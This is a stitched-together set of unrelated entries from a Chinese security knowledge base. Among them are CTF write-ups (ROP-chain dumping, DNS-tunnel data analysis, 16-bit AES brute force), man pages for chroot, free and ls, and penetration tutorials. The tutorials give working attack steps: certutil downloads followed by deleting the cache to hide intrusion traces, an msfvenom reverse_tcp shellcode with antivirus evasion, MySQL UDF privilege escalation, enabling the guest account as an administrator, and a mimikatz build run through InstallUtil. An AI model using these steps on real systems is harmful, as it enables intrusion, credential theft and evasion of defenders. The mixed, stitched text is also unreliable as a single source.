p=subprocess.Popen(["gdb", "qqq"], stdin=subprocess.PIPE, stdout=subprocess.PIPE)
p.stdin.write("set disassembly-flavor intel\n")
p.stdin.write("b *0x804820a\n")
p.stdin.write("r --pctfkey PCTF{1234567890qwertyuiop1234567890qwertyuiop1234567}\nc\n")
p.stdin.write(txt+"\nq\n")
return p.stdout.read()
ROP_LEN=(2**18)/4
ROP_POS=0x0818c080
out=gdb("x/"+str(ROP_LEN)+"d "+str(ROP_POS))
out=out.split("(gdb) ")[5]
rop=[]
for line in out.splitlines():
print line
for num in line.split("\t")[1:]:
rop.append( (int(num)+2**32)%(2**32) )
while rop[-1]==0:
rop.pop()
print "ROP_CHAIN"
print "Length:",len(rop),"dwords"
for r in rop:
print hex(r)
print "VALUES"
f=open("values","w")
for i in range(14):
f.write(hex(rop[0x208c4/4+i*7])+"\n")
f.close()
f=open("ropchain","w")
cache={}
for index, r in enumerate(rop):
if r in cache:
out=cache[r]
else:
out=gdb("x/10i "+str(r))
out=out.split("(gdb) ")[5]
cache[r]=out
print hex(r), index,"out of",len(rop)
f.write(hex(r)+" - ROP offset: "+hex(index*4)+"\n")
out=out.splitlines()
res=None
for i, line in enumerate(out):
if line.find("ret")>-1:
res="\n".join(out[:i+1])
break
if r==ord("w"):
f.write("Note: this is probably FAILING place.\n")
if res is None:
f.write("\n".join(out)+"\n")
else:
f.write(res+"\n")
NUM_STEPS=5000
s="display/i $eip\n"
for reg in ["eax", "ebx", "ecx", "edx", "esp", "ebp", "esi", "edi"][::-1]:
s+="display/x $"+reg+"\n"
s+="si\n"*NUM_STEPS
out=gdb(s)
for line in out.splitlines():
if line.find("(gdb)")>-1:
print ""
elif line.find("/x")>-1:
print line
elif line.find("=>")>-1:
print line
|
sec-knowleage
|
### certutil微软官方是这样对它解释的:
> Certutil.exe是一个命令行程序,作为证书服务的一部分安装。您可以使用Certutil.exe转储和显示证书颁发机构(CA)配置信息,配置证书服务,备份和还原CA组件以及验证证书,密钥对和证书链。
url:https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/cc732443(v=ws.11)
但是近些年好像被玩坏了。
**靶机:**windows 2003 windows 7
```bash
certutil.exe -urlcache -split -f http://192.168.1.115/robots.txt
```

默认下载为bin文件。但是不影响在命令行下使用。

certutil.exe 下载有个弊端,它的每一次下载都有留有缓存,而导致留下入侵痕迹,所以每次下载后,**需要马上执行如下**:
```bash
certutil.exe -urlcache -split -f http://192.168.1.115/robots.txt delete
```

而在应急中certutil也是常用工具之一,来对比文件hash,来判断疑似文件。
**Windows 2003:**

**Windows 7:**

### certutil的其它高级应用:
```bash
C:\>certutil -encode c:\downfile.vbs downfile.bat
```

**file:downfile.bat**

**解密:**

**file:downfile.txt**

>后者的话:powershell内存加载配合certutil解密是一件非常有趣的事情。会在未来的系列中讲述。
> Micropoor
|
sec-knowleage
|
> 一次普通的项目,做完后,却陈思很久,遂打算一气合成把整个流程记录下来,此篇再一次的叮嘱我:分享便是我最好的老师。
> Micropoor
拿shell过程略过。(由于文章在项目实施结束形成,故部分无图或补图)
-------
### 目标机背景:
windows 2008 r2 x64位 360主动 + 360卫士 + 360杀毒 + waf,目标机仅支持 aspx。运行 OAWeb 服务(.net+mssql),并且是内网中其他服务器的数据库服务器(mysql 数据库,不支持 php,无 .net for mysql 驱动)

### 端口开放如下:

### 需要解决的第一个问题:payload
由于目标机,安装某套装,payload 一定是必须要解决的问题。当 tasklist 的时候,看到如下图几个进程的时候,第一反应就是需要做 payload 分离免杀。分离免杀主要分两大类,一类为第三方分离免杀,一类为自带安装分离免杀。文章中,采取了第三方分离免杀。

### 本地补图(由于项目在实施后形成该文章,故本地靶机补图)
目前的反病毒安全软件,常见有三种,一种基于特征,一种基于行为,一种基于云查杀。云查杀的特点基本也可以概括为特征查杀。无论是哪种,都是特别针对PE头文件的查杀。尤其是当payload文件越大的时候,特征越容易查杀。
既然知道了目前的主流查杀方式,那么反制查杀,此篇采取特征与行为分离免杀。避免PE头文件,并且分离行为,与特征的综合免杀。适用于菜刀下等场景,也是我在基于windows下为了更稳定的一种常用手法。载入内存。
### 0x00:以msf为例:监听端口

### 0x01:这里的payload不采取生成pe文件,而采取shellcode方式,来借助第三方直接加载到内存中。避免行为:
```bash
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.5 lport=8080 -e x86/shikata_ga_nai -i 5 -f raw > test.c
```

### 0x02:既然是shellcode方式的payload,那么需要借助第三方来启动,加载到内存。执行shellcode,自己写也不是很难,这里我借用一个github一个开源:
https://github.com/clinicallyinane/shellcode_launcher/
> 作者的话:建议大家自己写shellcode执行盒,相关代码网上非常成熟。

生成的payload大小如下:476字节。

世界杀毒网:

上线成功。

而关于自带安装分离免杀,请参考我在公司 Wiki 上写的第六十九课时 **payload分离免杀思路第二季**
payload 反弹到 vps 的 msf 上,我的权限仅仅如下。

### 需要解决的第二个问题:提权
参考主机背景图,184个补丁,以及某套装。遂放弃了exp提权。
* 原因1:需要更多的时间消耗在对反病毒软件对抗。
* 原因2:目标机补丁过多。需要消耗更多的时间
* 原因3:非常艰难的环境下,拿到了权限,不想因为某些exp导致蓝屏从而丢失权限。
开始翻阅目标机上的文件,以及搜集目标机的端口,服务,启动等一系列信息。发现目标机安装mysql,并与内网其中一台建立大量连接。mysql版本为5.1.49-community-log
下载目标机\*..MYI,\*.MYD,\*.frm,加载于本地mysql。得到目标机root密码

而目标机没有相关脚本环境连接mysql,到这里,可以有2个方向针对该问题作出解决
* 一:转发目标机端口到本地,从而操作mysql。
* 二:在非交互式下,完成mysql udf的提权。
为了减少目标主机的流量探测,以及维护来之不易的session,故选择了第二种方案。非交互式下,mysql提权。
命令行下,调用mysql是需要在启动一个mysql窗口,从而继续执行,而session下没有这样的条件。但mysql的 -e 参数 作为直接执行sql语句,从而不另启动窗口。而-e需要注意的事项,use database。
也就是所有参数需要mysql.xxxx

如没有指定database,将会出现如下错误,而使用UNION,将不会有回显,一定出现问题,将会很难定位,故选择以mysql.x的方式指定。

大致流程如下:
```bash
mysql -uroot -pXXXXXX -e "create table mysql.a (cmd LONGBLOB);"
mysql -uroot -pXXXXXX -e "insert into mysql.a (cmd) values (hex(load_file('D:\\XXXXXXXXXX\\mysql5\\lib\\plugin\\u.dll')));"
mysql -u root -pXXXXXX -e "SELECT unhex(cmd) FROM mysql.a INTO DUMPFILE 'D:/XXXXXXXXXX/mysql5/lib/plugin/uu.dll';"
mysql -uroot -pXXXXXX -e "CREATE FUNCTION shell RETURNS STRING SONAME 'uu.dll'"
mysql -uroot -pXXXXXX -e "select shell('cmd','whoami');"
```

### 需要解决的第三个问题:登录服务器
在有套装的环境下,默认拦截cmd下加帐号,而目前又无法抓取系统登录明文。mimikatz被查杀。cmd下调用powershell被拦截。遂选择激活guest帐号,并提升到administrators组,来临时登录目标机。


### socks代理登录目标机:

### 需要解决的第四个问题:抓取目标机明文密码
登录服务器后,目前依然不知道目标机的密码。这里有两种方向来解决该问题。
* 一:关闭我能关闭的套装,由于管理员没有注销登录。能关闭的有限。
* 二:分离免杀做mimikatz密码抓取
作者选择了第二种方案:
这里需要用到**csc.exe,与InstallUtil.exe**
关于两个文件默认安装位置:(注意x32,x64区别)
```bash
C:\Windows\Microsoft.NET\Framework\
C:\Windows\Microsoft.NET\Framework64\
C:\Windows\Microsoft.NET\Framework\
C:\Windows\Microsoft.NET\Framework64\
```
分别执行:
```bash
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /r:System.IO.Compression.dll /target:library /out:Micropoor.exe /keyfile:C:\Users\Johnn\Desktop\installutil.snk /unsafe
C:\Users\Johnn\Desktop\mimi.cs
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U C:\Users\Johnn\Desktop\Micropoor.exe
```


### 派生出的第五个问题:横向渗透
关于第五个问题,本意并不是该篇幅所要讲述的,后续是搜集目标机的mssql,mysql,rdp 密码。搜集所在内网的拓扑,来辅助本次的横向扩展。便完成了本次的项目。
如需具体,请参考我在Wiki上的系列教程78,79,12,13,71课时。

> 后者的话:
> 本次的整个流程,并没有遇到太多的问题,仅仅是把几个知识点的串联起来,形成的一个完整的渗透。也许你了解知识点1,也了解知识点2,还了解知识点3等等。但是一次完整的项目是离不开每一个知识点的串联与灵活运用。这应该是每一个信息安全从业人员值得思考的问题。
**在每次分享的同时,深深发现,原来分享,才是我最好的老师。**
> Micropoor
|
sec-knowleage
|
---
title: 列出所有的区域
---
## 列出阿里云上的所有的区域
使用 `regions` 命令可以列出所有的区域,在该命令后需要加上对应的云厂商以及云服务,目前仅支持阿里云,后续会支持其他的云厂商。
列出阿里云 ECS 的可用区域
```bash
cf alibaba regions ecs
```
在 CF 中还集成了阿里云的 ECS 私有区域,不过在默认情况下是不调用的,如果想列出阿里云的私有区域,可以使用 `-a` 命令列出所有区域
```bash
cf alibaba regions ecs -a
```
列出阿里云 RDS 的可用区域
```bash
cf alibaba regions rds
```
### 列出腾讯云上的所有的区域
列出腾讯云 CVM 的可用区域
```bash
cf tencent regions cvm
```
<Vssue />
<script>
export default {
mounted () {
this.$page.lastUpdated = "2022年10月12日"
}
}
</script>
|
sec-knowleage
|
# Data Science 2
Category: Data Science, 150 points
## Description
See [Data Science 1](Data_Science_1.md).
## Solution:
For this flag, we'll investigate who's sending out a significant amount of data.
Let's start by getting statistics for the amount of bytes sent from an internal host to an external host:
```python
df[df['src_int'] & ~df['dst_int']]\
.groupby('src_ip')\
.payload.sum()\
.pipe(lambda x: x[x > 0])\
.sort_values(ascending=False).head()
```
Output:
```
src_ip
120.18.53.84 24795472
120.18.215.38 11774718
120.18.231.65 8447175
120.18.15.208 8047102
120.18.138.6 7872829
Name: payload, dtype: int64
```
We can see that `120.18.53.84` is sending lots of data compared to the rest of the hosts.
Who's he talking to outside the corporation?
```python
df[(df['src_ip'] == "120.18.53.84") & ~df['dst_int']][['dst_ip']].drop_duplicates("dst_ip").reset_index()
```
Output:
```
index dst_ip
0 1896 8.8.8.8
```
`8.8.8.8` is a DNS server. Can this be [DNS Tunneling](https://www.paloaltonetworks.com/cyberpedia/what-is-dns-tunneling)?
Let's find the IPs that are talking to our suspect within the network:
```python
df[
df['src_int'] & df['dst_int'] &
(df['dst_ip'] == '120.18.53.84')
].sort_values(by="payload",ascending=False).drop_duplicates('src_ip')[["src_ip","payload"]].head(20)
```
Output:
```
src_ip payload
17372911 120.18.212.32 450
5344676 120.18.252.47 450
8272425 120.18.179.89 449
337259 120.18.7.139 449
22821948 120.18.85.233 448
16895409 120.18.70.11 447
20668204 120.18.56.143 446
12639850 120.18.24.144 442
6659136 120.18.88.125 440
21480711 120.18.109.224 435
14669212 120.18.107.52 250
15580481 120.18.31.136 250
7722221 120.18.212.63 250
15651258 120.18.64.46 250
1333362 120.18.64.93 250
7723299 120.18.172.179 250
9784261 120.18.23.132 250
140100 120.18.39.9 250
15586973 120.18.92.185 250
1335597 120.18.115.245 250
```
We can see that at some point the number drops from `435` to `250`. Let's round up everyone with a high number of requests:
```python
df[
df['src_int'] & df['dst_int'] &
(df['dst_ip'] == '120.18.53.84')
].sort_values(by="payload",ascending=False).drop_duplicates('src_ip')[["src_ip","payload"]].head(10)["src_ip"].to_csv("flag_b.csv", index = False, header = ["ip"])
```
Output:
```
ip
120.18.212.32
120.18.252.47
120.18.179.89
120.18.7.139
120.18.85.233
120.18.70.11
120.18.56.143
120.18.24.144
120.18.88.125
120.18.109.224
```
And we get our second flag:
```
Congratulations! You achieved the goal. Here is your flag:
flag{sjgdgyweo3983483742lk2$%^344}
```
|
sec-knowleage
|
# 16-bit-AES
Crypto, 100 points
## Description
> Why so small?
## Solution
We connect to the server and see the following message:
```console
root@kali:/media/sf_CTFs/sunshine/16_bit_AES# nc archive.sunshinectf.org 19003
Welcome, I'm using an AES-128 cipher with a 16-bit key in ECB mode.
I'll give you some help: give me some text, and I'll tell you what it looks like
Your text:
test
5daa39d0cd90af3ded4b2813413f138c
Ok, now encrypt this text with the same key: LGSQKtc4T25nsl29
```
The service allows us to encrypt a string of our choice and observe the result, then requests us to encrypt a string with the same key.
What happens if we run the service again and enter the same string:
```
Welcome, I'm using an AES-128 cipher with a 16-bit key in ECB mode.
I'll give you some help: give me some text, and I'll tell you what it looks like
Your text:
test
5daa39d0cd90af3ded4b2813413f138c
Ok, now encrypt this text with the same key: AjEdDZgk25hf1ByV
```
We get the same result for our text, but a different string to encrypt ourselves. In other words, the key isn't changed throughout sessions.
The obvious solution is to open two sessions, take the string they ask us to encrypt from session #1, paste it in session #2 as the script we can encrypt ourselves, and copy the result back to session #1. However, that would work for any key length, so it feels like cheating. Since the key is so small (16 bits), we are probably expected to brute force it.
First, we try the following code, to try and encrypt AES-ECB with a 16-bit key:
```python
from Crypto.Cipher import AES
key = 'aa'
cipher = AES.new(key, AES.MODE_ECB)
msg = cipher.encrypt('0123456789abcdef')
print(msg.encode("hex"))
```
However, we get the following error:
```
ValueError: AES key must be either 16, 24, or 32 bytes long
```
Either the challenge is expecting us to implement AES with a 16-bit key, or the 16-bit key is duplicated 8 times to create a 16-byte key (or more for another key length). Since the latter is easier to test, we start from it.
The script:
```python
from Crypto.Cipher import AES
from itertools import product
from pwn import *
import string
def find_key(plaintext, ciphertext_hex):
for key_chars in product(string.printable, repeat=2):
key = (''.join(key_chars)) * 8
cipher = AES.new(key, AES.MODE_ECB)
msg = cipher.encrypt(plaintext)
if msg.encode("hex") == "552403aa43019223392a5516cd788601":
return key
return None
text_to_encrypt = '0123456789abcdef'
p = remote("archive.sunshinectf.org", 19003)
p.sendlineafter("Your text:", text_to_encrypt)
encrypted = p.recvline()
server_key = find_key(text_to_encrypt, encrypted)
log.info("Server key: {}".format(server_key))
if server_key is not None:
p.recvuntil("same key: ")
server_text_to_encrypt = p.recvline(keepends = False).rstrip()
log.info("Text to encrypt: {}".format(server_text_to_encrypt))
encrypted_server_text = AES.new(server_key, AES.MODE_ECB).encrypt(server_text_to_encrypt)
p.sendline(encrypted_server_text.encode("hex"))
print p.recvall()
```
The output:
```console
root@kali:/media/sf_CTFs/sunshine/16_bit_AES# python solve.py
[+] Opening connection to archive.sunshinectf.org on port 19003: Done
[*] Server key: fLfLfLfLfLfLfLfL
[*] Text to encrypt: 8VLnmj1cTliKa8Ht
[+] Receiving all data: Done (68B)
[*] Closed connection to archive.sunshinectf.org port 19003
Correct! The flag is sun{Who_kn3w_A3$_cou1d_be_s0_vulner8ble?}
```
|
sec-knowleage
|
chroot
===
把根目录换成指定的目的目录
## 补充说明
**chroot命令** 用来在指定的根目录下运行指令。chroot,即 change root directory (更改 root 目录)。在 linux 系统中,系统默认的目录结构都是以`/`,即是以根 (root) 开始的。而在使用 chroot 之后,系统的目录结构将以指定的位置作为`/`位置。
在经过 chroot 命令之后,系统读取到的目录和文件将不在是旧系统根下的而是新根下(即被指定的新的位置)的目录结构和文件,因此它带来的好处大致有以下3个:
**增加了系统的安全性,限制了用户的权力:**
在经过 chroot 之后,在新根下将访问不到旧系统的根目录结构和文件,这样就增强了系统的安全性。这个一般是在登录 (login) 前使用 chroot,以此达到用户不能访问一些特定的文件。
**建立一个与原系统隔离的系统目录结构,方便用户的开发:**
使用 chroot 后,系统读取的是新根下的目录和文件,这是一个与原系统根下文件不相关的目录结构。在这个新的环境中,可以用来测试软件的静态编译以及一些与系统不相关的独立开发。
**切换系统的根目录位置,引导 Linux 系统启动以及急救系统等:**
chroot 的作用就是切换系统的根位置,而这个作用最为明显的是在系统初始引导磁盘的处理过程中使用,从初始 RAM 磁盘 (initrd) 切换系统的根位置并执行真正的 init。另外,当系统出现一些问题时,我们也可以使用 chroot 来切换到一个临时的系统。
### 语法
```shell
chroot(选项)(参数)
```
### 选项
```shell
--help:在线帮助;
--version:显示版本信息。
```
### 参数
* 目录:指定新的根目录;
* 指令:指定要执行的指令。
### 实例
**将target作为根目录(运行其中的`/bin/sh`):**
```shell
chroot target /bin/sh
```
这里,target是busybox安装好的路径,类似一个文件系统包含了许多工具。这样,将会进入一个shell界面,这个shell以target为根。运行exit退出该shell又返回原来的本机环境了,也可以使用Ctrl+D。
注意:
* 根用户才行
* 如果直接chroot target默认寻找target的/bin/bash.这会以target作为根目录
将target作为根目录(运行其中的`/bin/ls`):
```shell
chroot target /bin/ls
```
这里,target是busybox安装好的路径,类似一个文件系统包含了许多工具。这样运行的是target中的ls(不是本机的`/bin/ls`),然后返回立即本机的目录环境。
注意,自己在本地编译一个程序生成a.out之后,拷进`target/bin/`中这样运行却不行,因为它包含了动态连接的库,需要用ldd查看a.out需要那些动态库,将这些库拷贝到新根的对应路径下才能执行。
**用chroot运行自己编译的一个程序:**
准备chroot的根目录:
```shell
mkdir newRoot
```
编译自己的程序:
```shell
gcc main.c
```
这里main.c生成a.out,功能是输出hello。
查看程序需要的库:
```shell
ldd a.out
```
输入之后,输出如下:
```shell
linux-gate.so.1 = > (0xb8034000)
libc.so.6 = > /lib/tls/i686/cmov/libc.so.6 (0xb7eab000)
/lib/ld-linux.so.2 (0xb801a000)
```
将程序需要的库和程序拷贝到新根目录下:
```shell
cp a.out newRoot
mkdir newRoot/lib
cp /lib/tls/i686/cmov/libc.so.6 newRoot/lib
cp /lib/ld-linux.so.2 newRoot/lib
```
这里newRoot内容将如下:
```shell
a.out lib/
```
使用chroot运行自己的程序:
```shell
su
chroot newRoot /a.out
```
这样就能够正确运行a.out了,因为a.out使用到了其他的动态连接库,所以需要将库拷贝到newRoot中,如果没有其他库那么直接拷贝a.out就能运行。例如静态编译后的busybox,其安装目录中的`/bin/busybox`就没有依赖其他库。
|
sec-knowleage
|
free
===
显示内存的使用情况
## 补充说明
**free命令** 可以显示当前系统未使用的和已使用的内存数目,还可以显示被内核使用的内存缓冲区。
### 语法
```shell
free(选项)
```
### 选项
```shell
-b # 以Byte为单位显示内存使用情况;
-k # 以KB为单位显示内存使用情况;
-m # 以MB为单位显示内存使用情况;
-g # 以GB为单位显示内存使用情况。
-o # 不显示缓冲区调节列;
-s<间隔秒数> # 持续观察内存使用状况;
-t # 显示内存总和列;
-V # 显示版本信息。
```
### 实例
```shell
free -t # 以总和的形式显示内存的使用信息
free -s 10 # 周期性的查询内存使用信息,每10s 执行一次命令
```
显示内存使用情况
```shell
free -m
total used free shared buffers cached
Mem: 2016 1973 42 0 163 1497
-/+ buffers/cache: 312 1703
Swap: 4094 0 4094
```
**第一部分Mem行解释:**
```shell
total:内存总数;
used:已经使用的内存数;
free:空闲的内存数;
shared:当前已经废弃不用;
buffers Buffer:缓存内存数;
cached Page:缓存内存数。
```
关系:total = used + free
**第二部分(-/+ buffers/cache)解释:**
```shell
(-buffers/cache) used内存数:第一部分Mem行中的 used – buffers – cached
(+buffers/cache) free内存数: 第一部分Mem行中的 free + buffers + cached
```
可见-buffers/cache反映的是被程序实实在在吃掉的内存,而+buffers/cache反映的是可以挪用的内存总数。
第三部分是指交换分区。
输出结果的第四行是交换分区SWAP的,也就是我们通常所说的虚拟内存。
区别:第二行(mem)的used/free与第三行(-/+ buffers/cache) used/free的区别。 这两个的区别在于使用的角度来看,第一行是从OS的角度来看,因为对于OS,buffers/cached 都是属于被使用,所以他的可用内存是2098428KB,已用内存是30841684KB,其中包括,内核(OS)使用+Application(X, oracle,etc)使用的+buffers+cached.
第三行所指的是从应用程序角度来看,对于应用程序来说,buffers/cached 是等于可用的,因为buffer/cached是为了提高文件读取的性能,当应用程序需在用到内存的时候,buffer/cached会很快地被回收。
所以从应用程序的角度来说,可用内存=系统free memory+buffers+cached。
如本机情况的可用内存为:
18007156=2098428KB+4545340KB+11363424KB
接下来解释什么时候内存会被交换,以及按什么方交换。
当可用内存少于额定值的时候,就会开会进行交换。如何看额定值:
```shell
cat /proc/meminfo
MemTotal: 16140816 kB
MemFree: 816004 kB
MemAvailable: 2913824 kB
Buffers: 17912 kB
Cached: 2239076 kB
SwapCached: 0 kB
Active: 12774804 kB
Inactive: 1594328 kB
Active(anon): 12085544 kB
Inactive(anon): 94572 kB
Active(file): 689260 kB
Inactive(file): 1499756 kB
Unevictable: 116888 kB
Mlocked: 116888 kB
SwapTotal: 8191996 kB
SwapFree: 8191996 kB
Dirty: 56 kB
Writeback: 0 kB
AnonPages: 12229228 kB
Mapped: 117136 kB
Shmem: 58736 kB
Slab: 395568 kB
SReclaimable: 246700 kB
SUnreclaim: 148868 kB
KernelStack: 30496 kB
PageTables: 165104 kB
NFS_Unstable: 0 kB
Bounce: 0 kB
WritebackTmp: 0 kB
CommitLimit: 16262404 kB
Committed_AS: 27698600 kB
VmallocTotal: 34359738367 kB
VmallocUsed: 311072 kB
VmallocChunk: 34350899200 kB
HardwareCorrupted: 0 kB
AnonHugePages: 3104768 kB
HugePages_Total: 0
HugePages_Free: 0
HugePages_Rsvd: 0
HugePages_Surp: 0
Hugepagesize: 2048 kB
DirectMap4k: 225536 kB
DirectMap2M: 13279232 kB
DirectMap1G: 5242880 kB
```
交换将通过三个途径来减少系统中使用的物理页面的个数:
1. 减少缓冲与页面cache的大小,
2. 将系统V类型的内存页面交换出去,
3. 换出或者丢弃页面。(Application 占用的内存页,也就是物理内存不足)。
事实上,少量地使用swap是不是影响到系统性能的。
那buffers和cached都是缓存,两者有什么区别呢?
为了提高磁盘存取效率, Linux做了一些精心的设计, 除了对dentry进行缓存(用于VFS,加速文件路径名到inode的转换), 还采取了两种主要Cache方式:
Buffer Cache和Page Cache。前者针对磁盘块的读写,后者针对文件inode的读写。这些Cache有效缩短了 I/O系统调用(比如read,write,getdents)的时间。
磁盘的操作有逻辑级(文件系统)和物理级(磁盘块),这两种Cache就是分别缓存逻辑和物理级数据的。
Page cache实际上是针对文件系统的,是文件的缓存,在文件层面上的数据会缓存到page cache。文件的逻辑层需要映射到实际的物理磁盘,这种映射关系由文件系统来完成。当page cache的数据需要刷新时,page cache中的数据交给buffer cache,因为Buffer Cache就是缓存磁盘块的。但是这种处理在2.6版本的内核之后就变的很简单了,没有真正意义上的cache操作。
Buffer cache是针对磁盘块的缓存,也就是在没有文件系统的情况下,直接对磁盘进行操作的数据会缓存到buffer cache中,例如,文件系统的元数据都会缓存到buffer cache中。
简单说来,page cache用来缓存文件数据,buffer cache用来缓存磁盘数据。在有文件系统的情况下,对文件操作,那么数据会缓存到page cache,如果直接采用dd等工具对磁盘进行读写,那么数据会缓存到buffer cache。
所以我们看linux,只要不用swap的交换空间,就不用担心自己的内存太少.如果常常swap用很多,可能你就要考虑加物理内存了.这也是linux看内存是否够用的标准.
如果是应用服务器的话,一般只看第二行,+buffers/cache,即对应用程序来说free的内存太少了,也是该考虑优化程序或加内存了。
|
sec-knowleage
|
ls
===
显示目录内容列表
## 补充说明
**ls命令** 就是list的缩写,用来显示目标列表,在Linux中是使用率较高的命令。ls命令的输出信息可以进行彩色加亮显示,以分区不同类型的文件。
### 语法
```shell
ls [选项] [文件名...]
[-1abcdfgiklmnopqrstuxABCDFGLNQRSUX] [-w cols] [-T cols] [-I pattern] [--full-time]
[--format={long,verbose,commas,across,vertical,single-col‐umn}]
[--sort={none,time,size,extension}] [--time={atime,access,use,ctime,status}]
[--color[={none,auto,always}]] [--help] [--version] [--]
```
### 选项
```shell
-C # 多列输出,纵向排序。
-F # 每个目录名加 "/" 后缀,每个 FIFO 名加 "|" 后缀, 每个可运行名加“ * ”后缀。
-R # 递归列出遇到的子目录。
-a # 列出所有文件,包括以 "." 开头的隐含文件。
-c # 使用“状态改变时间”代替“文件修改时间”为依据来排序(使用“-t”选项时)或列出(使用“-l”选项时)。
-d # 将目录名像其它文件一样列出,而不是列出它们的内容。
-i # 输出文件前先输出文件系列号(即 i 节点号: i-node number)。 -l 列出(以单列格式)文件模式
# (file mode),文件的链接数,所有者名,组名,文件大小(以字节为单位),时间信息,及文件名。
# 缺省时,时间信息显示最近修改时间;可以以选项“-c”和“-u”选择显示其它两种时间信息。对于设备文件,
# 原先显示文件大小的区域通常显示的是主要和次要的信号(majorand minor device numbers)。
-q # 将文件名中的非打印字符输出为问号。(对于到终端的输出这是缺省的。)
-r # 逆序排列。
-t # 按时间信息排序。
-u # 使用最近访问时间代替最近修改时间为依据来排序(使用“-t”选项时)或列出(使用“-l”选项时)。
-1 # 单列输出。
-1, --format=single-column # 一行输出一个文件(单列输出)。如标准输出不是到终端,此选项就是缺省选项。
-a, --all # 列出目录中所有文件,包括以“.”开头的文件。
-b, --escape # 把文件名中不可输出的字符用反斜杠加字符编号(就像在 C 语言里一样)的形式列出。
-c, --time=ctime, --time=status
# 按文件状态改变时间(i节点中的ctime)排序并输出目录内
# 容。如采用长格式输出(选项“-l”),使用文件的状态改
# 变时间取代文件修改时间。【译注:所谓文件状态改变(i节
# 点中以ctime标志),既包括文件被修改,又包括文件属性( 如所有者、组、链接数等等)的变化】
-d, --directory
# 将目录名像其它文件一样列出,而不是列出它们的内容。
-f # 不排序目录内容;按它们在磁盘上存储的顺序列出。同时启 动“ -a ”选项,如果在“ -f ”之前存在“ -l”、
# “ - -color ”或“ -s ”,则禁止它们。
-g # 忽略,为兼容UNIX用。
-i, --inode
# 在每个文件左边打印 i 节点号(也叫文件序列号和索引号: file serial number and index num‐
# ber)。i节点号在每个特定的文件系统中是唯一的。
-k, --kilobytes
# 如列出文件大小,则以千字节KB为单位。
-l, --format=long, --format=verbose
# 输出的信息从左到右依次包括文件名、文件类型、权限、硬链接数、所有者名、组名、大小(byte)
# 、及时间信息(如未指明是其它时间即指修改时间)。对于6个月以上的文件或超出未来
# 1小时的文件,时间信息中的时分将被年代取代。
# 每个目录列出前,有一行“总块数”显示目录下全部文件所占的磁盘空间。块默认是1024字节;
# 如果设置了 POSIXLY_CORRECT 的环境变量,除非用“-k”选项,则默认块大小是 512 字节。
# 每一个硬链接都计入总块数(因此可能重复计数),这无 疑是个缺点。
# 列出的权限类似于以符号表示(文件)模式的规范。但是 ls
# 在每套权限的第三个字符中结合了多位( multiple bits ) 的信息,如下: s 如果设置了 setuid
# 位或 setgid 位,而且也设置了相应的可执行位。 S 如果设置了 setuid 位或 setgid
# 位,但是没有设置相应的可执行位。 t 如果设置了 sticky 位,而且也设置了相应的可执行位。 T
# 如果设置了 sticky 位,但是没有设置相应的可执行位。 x
# 如果仅仅设置了可执行位而非以上四种情况。 - 其它情况(即可执行位未设置)。
-m, --format=commas
# 水平列出文件,每行尽可能多,相互用逗号和一个空格分隔。
-n, --numeric-uid-gid
# 列出数字化的 UID 和 GID 而不是用户名和组名。
-o # 以长格式列出目录内容,但是不显示组信息。等于使用“ --format=long --no-group
# ”选项。提供此选项是为了与其它版本的 ls 兼容。
-p # 在每个文件名后附上一个字符以说明该文件的类型。类似“ -F ”选项但是不 标示可执行文件。
-q, --hide-control-chars
# 用问号代替文件名中非打印的字符。这是缺省选项。
-r, --reverse
# 逆序排列目录内容。
-s, --size
# 在每个文件名左侧输出该文件的大小,以 1024 字节的块为单位。如果设置了 POSIXLY_CORRECT
# 的环境变量,除非用“ -k ”选项,块大小是 512 字节。
-t, --sort=time
# 按文件最近修改时间( i 节点中的 mtime )而不是按文件名字典序排序,新文件 靠前。
-u, --time=atime, --time=access, --time=use
# 类似选项“ -t ”,但是用文件最近访问时间( i 节点中的 atime )取代文件修
# 改时间。如果使用长格式列出,打印的时间是最近访问时间。
-w, --width cols
# 假定屏幕宽度是 cols ( cols 以实际数字取代)列。如未用此选项,缺省值是这
# 样获得的:如可能先尝试取自终端驱动,否则尝试取自环境变量 COLUMNS (如果设
# 置了的话),都不行则取 80 。
-x, --format=across, --format=horizontal
# 多列输出,横向排序。
-A, --almost-all
# 显示除 "." 和 ".." 外的所有文件。
-B, --ignore-backups
# 不输出以“ ~ ”结尾的备份文件,除非已经在命令行中给出。
-C, --format=vertical
# 多列输出,纵向排序。当标准输出是终端时这是缺省项。使用命令名 dir 和 d 时, 则总是缺省的。
-D, --dired
# 当采用长格式(“-l”选项)输出时,在主要输出后,额外打印一行: //DIRED// BEG1 END1 BEG2
# END2 ...
# BEGn 和 ENDn 是无符号整数,记录每个文件名的起始、结束位置在输出中的位置(
# 字节偏移量)。这使得 Emacs 易于找到文件名,即使文件名包含空格或换行等非正
# 常字符也无需特异的搜索。
#
# 如果目录是递归列出的(“ -R ”选项),每个子目录后列出类似一行:
# //SUBDIRED// BEG1 END1 ... 【译注:我测试了 TurboLinux4.0 和 RedHat6.1 ,发现它们都是在 “
# //DIRED// BEG1... ”之后列出“ //SUBDIRED// BEG1 ... ”,也即只有一个
# 而不是在每个子目录后都有。而且“ //SUBDIRED// BEG1 ... ”列出的是各个子目 录名的偏移。】
-F, --classify, --file-type
# 在每个文件名后附上一个字符以说明该文件的类型。“ * ”表示普通的可执行文件; “ / ”表示目录;“
# @ ”表示符号链接;“ | ”表示FIFOs;“ = ”表示套接字 (sockets) ;什么也没有则表示普通文件。
-G, --no-group
# 以长格式列目录时不显示组信息。
-I, --ignorepattern
# 除非在命令行中给定,不要列出匹配shell文件名匹配式(pattern ,不是指一般
# 表达式)的文件。在shell中,文件名以"."起始的不与在文件名匹配式(pattern)
# 开头的通配符匹配。
-L, --dereference
# 列出符号链接指向的文件的信息,而不是符号链接本身。
-N, --literal
# 不要用引号引起文件名。
-Q, --quote-name
# 用双引号引起文件名,非打印字符以 C 语言的方法表示。
-R, --recursive
# 递归列出全部目录的内容。
-S, --sort=size
# 按文件大小而不是字典序排序目录内容,大文件靠前。
-T, --tabsize cols
# 假定每个制表符宽度是 cols 。缺省为 8。为求效率, ls 可能在输出中使用制表符。 若 cols 为
0,则不使用制表符。
-U, --sort=none
# 不排序目录内容;按它们在磁盘上存储的顺序列出。(选项“-U”和“-f”的不
